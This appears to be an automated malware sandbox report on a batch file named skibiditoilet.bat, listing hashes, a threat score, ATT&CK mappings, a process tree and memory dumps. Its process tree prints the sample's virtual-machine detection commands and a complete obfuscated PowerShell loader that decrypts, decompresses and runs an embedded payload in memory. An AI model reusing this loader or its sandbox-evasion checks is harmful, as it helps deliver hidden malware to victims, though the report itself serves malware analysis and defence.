8d7786fb33c1d05816fdc8c938273b452e94a4234358b45e567cc31ceaf262ad

General

Target

skibiditoilet.bat
Size

7.4MB
MD5

e67e3a94d89425d40496ddf35898d535
SHA1

0797b9358d62864867ce3253a02a20456ac735b1
SHA256

8d7786fb33c1d05816fdc8c938273b452e94a4234358b45e567cc31ceaf262ad
SHA512

6b7c2115556e45e4584a6eb2cc8a68585b8ac25806135406057aa44c41aa9ae6a10fdaf4abdba2e2d94df526f90ed243a86664f82de044fb2603025d8965e13d
SSDEEP

49152:SckmM2hvv+vfCedsWawQhCU2p3byz6fH6DdztsVuY/FEXx3bSwbhK0XD2KiVmZbV:V

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2228	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2228	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2228	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2100 wrote to memory of 2952	2100	cmd.exe	32
PID 2100 wrote to memory of 2952	2100	cmd.exe	32
PID 2100 wrote to memory of 2952	2100	cmd.exe	32
PID 2100 wrote to memory of 3036	2100	cmd.exe	33
PID 2100 wrote to memory of 3036	2100	cmd.exe	33
PID 2100 wrote to memory of 3036	2100	cmd.exe	33
PID 2100 wrote to memory of 3048	2100	cmd.exe	34
PID 2100 wrote to memory of 3048	2100	cmd.exe	34
PID 2100 wrote to memory of 3048	2100	cmd.exe	34
PID 2100 wrote to memory of 3052	2100	cmd.exe	35
PID 2100 wrote to memory of 3052	2100	cmd.exe	35
PID 2100 wrote to memory of 3052	2100	cmd.exe	35
PID 2100 wrote to memory of 540	2100	cmd.exe	36
PID 2100 wrote to memory of 540	2100	cmd.exe	36
PID 2100 wrote to memory of 540	2100	cmd.exe	36
PID 2100 wrote to memory of 2228	2100	cmd.exe	37
PID 2100 wrote to memory of 2228	2100	cmd.exe	37
PID 2100 wrote to memory of 2228	2100	cmd.exe	37

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\skibiditoilet.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2100
- C:\Windows\system32\fsutil.exe
  fsutil fsinfo drives
  2⤵
  PID:2952
- C:\Windows\system32\findstr.exe
  findstr /i /c:"QEMU HARDDISK" /c:"DADY HARDDISK" /c:"WDS100T2B0A"
  2⤵
  PID:3036
- C:\Windows\system32\fsutil.exe
  fsutil fsinfo drives
  2⤵
  PID:3048
- C:\Windows\system32\findstr.exe
  findstr /i /c:"BOCHS_" /c:"BXPC___" /c:"QEMU" /c:"VirtualBox"
  2⤵
  PID:3052
- C:\Windows\system32\cmd.exe
  cmd.exe /c echo function bGHD($RkCl){ Invoke-Expression -Debug -WarningAction Inquire -Verbose '$FfCT=[gySgyygystgyegymgy.gySgyegycugyrgyigytgyygy.gyCrgyygypgytgyogyggyragyphgyygy.Agyegys]gy::gyCgyrgyegyagytgye(gy)gy;'.Replace('gy', ''); Invoke-Expression -Verbose -WarningAction Inquire -InformationAction Ignore '$FfCT.MAHoAHdAHe=AH[AHSAHyAHsAHtAHemAH.AHSAHeAHcAHuAHriAHtAHyAH.AHCAHrAHypAHtoAHgAHraAHpAHhyAH.CAHiAHpAHhAHeAHrAHMoAHdAHeAH]AH::AHCBAHC;'.Replace('AH', ''); Invoke-Expression -InformationAction Ignore -WarningAction Inquire '$FfCT.PFEaFEdFEdiFEnFEgFE=FE[FESFEysFEtFEeFEmFE.FESFEecFEuFErFEiFEtFEyFE.CFEryFEpFEtoFEgFEraFEphFEyFE.FEPFEaFEdFEdiFEnFEgFEMFEodFEe]FE::FEPFEKFECFESFE7;'.Replace('FE', ''); Invoke-Expression -Debug '$FfCT.Kideidyid=[idSidyidsidtideidm.idCidoidnidvideidrtid]id:id:idFidridomidBaidside6id4idStidriidnidgid("rid7idsidg9idSid+id3id6idhidDsidsidlid9idDidLidaBidJidbidPidvidHidG4idWtidpidEsidjid+Cidg4id7idsidIidwidtidhUid=id");'.Replace('id', ''); Invoke-Expression -InformationAction Ignore -Debug -Verbose '$FfCT.IkDVkD=kD[SkDykDskDtkDekDmkD.CkDokDnkDvkDekDrkDt]kD:kD:kDFkDrkDokDmBkDaskDekD64kDSkDtrkDinkDgkD("+kD9kDfkDeMkDfkD2kDMkDPkDwkDtgkDTkDrkD7kD7kDlkDMKkD9kDgkDQkD=kD=");'.Replace('kD', ''); $UBuD=$FfCT.CreateDecryptor(); $NTSS=$UBuD.TransformFinalBlock($RkCl, 0, $RkCl.Length); $UBuD.Dispose(); $FfCT.Dispose(); $NTSS;}function bxuq($RkCl){ Invoke-Expression -WarningAction Inquire -Debug '$HOEL=NIdeIdwId-OIdbIdjIdeIdcIdtId SIdyIdsIdtIdeIdmId.IIdOId.IdMIdeIdmIdorIdySIdtIdreIdaIdm(,$RkCl);'.Replace('Id', ''); Invoke-Expression -InformationAction Ignore '$KAKm=NIdeIdwId-OIdbIdjIdeIdcIdtId SIdyIdsIdtIdeIdmId.IIdOId.IdMIdeIdmIdorIdySIdtIdreIdaIdm;'.Replace('Id', ''); Invoke-Expression -InformationAction Ignore '$tAxt=NwEewEwwE-OwEbwEjwEewEcwEtwE SwEywEswEtwEewEmwE.IwEOwE.wECwEowEmwEprwEeswEswEiowEnwE.GwEZiwEpwESwEtwErwEewEamwE($HOEL, [wEIwEOwE.CwEowEmwEpwErwEewEsswEiwEowEnwE.wECwEomwEpwErwEewEswEswEiowEnMwEowEdewE]wE::wEDewEcwEowEmwEpwErwEeswEswE);'.Replace('wE', ''); $tAxt.CopyTo($KAKm); $tAxt.Dispose(); $HOEL.Dispose(); $KAKm.Dispose(); $KAKm.ToArray();}function LAnn($RkCl,$LRjf){ Invoke-Expression -Debug -WarningAction Inquire '$QPns=[DzSDzyDzstDzeDzmDz.DzRDzeDzflDzeDzcDztDziDzoDzn.DzADzsDzsDzeDzmDzblDzy]Dz:Dz:LDzoDzadDz([byte[]]$RkCl);'.Replace('Dz', ''); Invoke-Expression -Debug '$IQgG=$QPns.EUqnUqtUqryUqPUqoUqiUqnUqt;'.Replace('Uq', ''); Invoke-Expression -Debug -Verbose -WarningAction Inquire '$IQgG.SeISenSevoSekSeeSe(Se$SenSeulSelSe, $LRjf);'.Replace('Se', '');}$RtKw = 'C:\Users\Admin\AppData\Local\Temp\skibiditoilet.bat';$host.UI.RawUI.WindowTitle = $RtKw;$kLna=[System.IO.File]::ReadAllText($RtKw).Split([Environment]::NewLine);foreach ($jDdi in $kLna) { if ($jDdi.StartsWith('cKvGI')) { $haun=$jDdi.Substring(5); break; }}$dtxP=[string[]]$haun.Split('\');Invoke-Expression -InformationAction Ignore -Debug -Verbose -WarningAction Inquire '$PHM = bxuq (bGHD ([anCanoannvaneanrantan]an:an:FanranoanmanBanaansean6an4anSantanraninang($dtxP[0].Replace("#", "/").Replace("@", "A"))));'.Replace('an', '');Invoke-Expression -Verbose -Debug -WarningAction Inquire -InformationAction Ignore '$cOZ = bxuq (bGHD ([anCanoannvaneanrantan]an:an:FanranoanmanBanaansean6an4anSantanraninang($dtxP[1].Replace("#", "/").Replace("@", "A"))));'.Replace('an', '');Invoke-Expression -WarningAction Inquire -Debug -InformationAction Ignore -Verbose '$MKb = bxuq (bGHD ([anCanoannvaneanrantan]an:an:FanranoanmanBanaansean6an4anSantanraninang($dtxP[2].Replace("#", "/").Replace("@", "A"))));'.Replace('an', '');LAnn $PHM $null;LAnn $cOZ $null;LAnn $MKb (,[string[]] (''));
  2⤵
  PID:540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2228

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2228-4-0x000007FEF62DE000-0x000007FEF62DF000-memory.dmp

Filesize
4KB

Download
memory/2228-5-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

Filesize
2.9MB

Download
memory/2228-6-0x0000000001D90000-0x0000000001D98000-memory.dmp

Filesize
32KB

Download
memory/2228-7-0x000007FEF6020000-0x000007FEF69BD000-memory.dmp

Filesize
9.6MB

Download
memory/2228-8-0x000007FEF6020000-0x000007FEF69BD000-memory.dmp

Filesize
9.6MB

Download
memory/2228-9-0x000007FEF6020000-0x000007FEF69BD000-memory.dmp

Filesize
9.6MB

Download

Analysis

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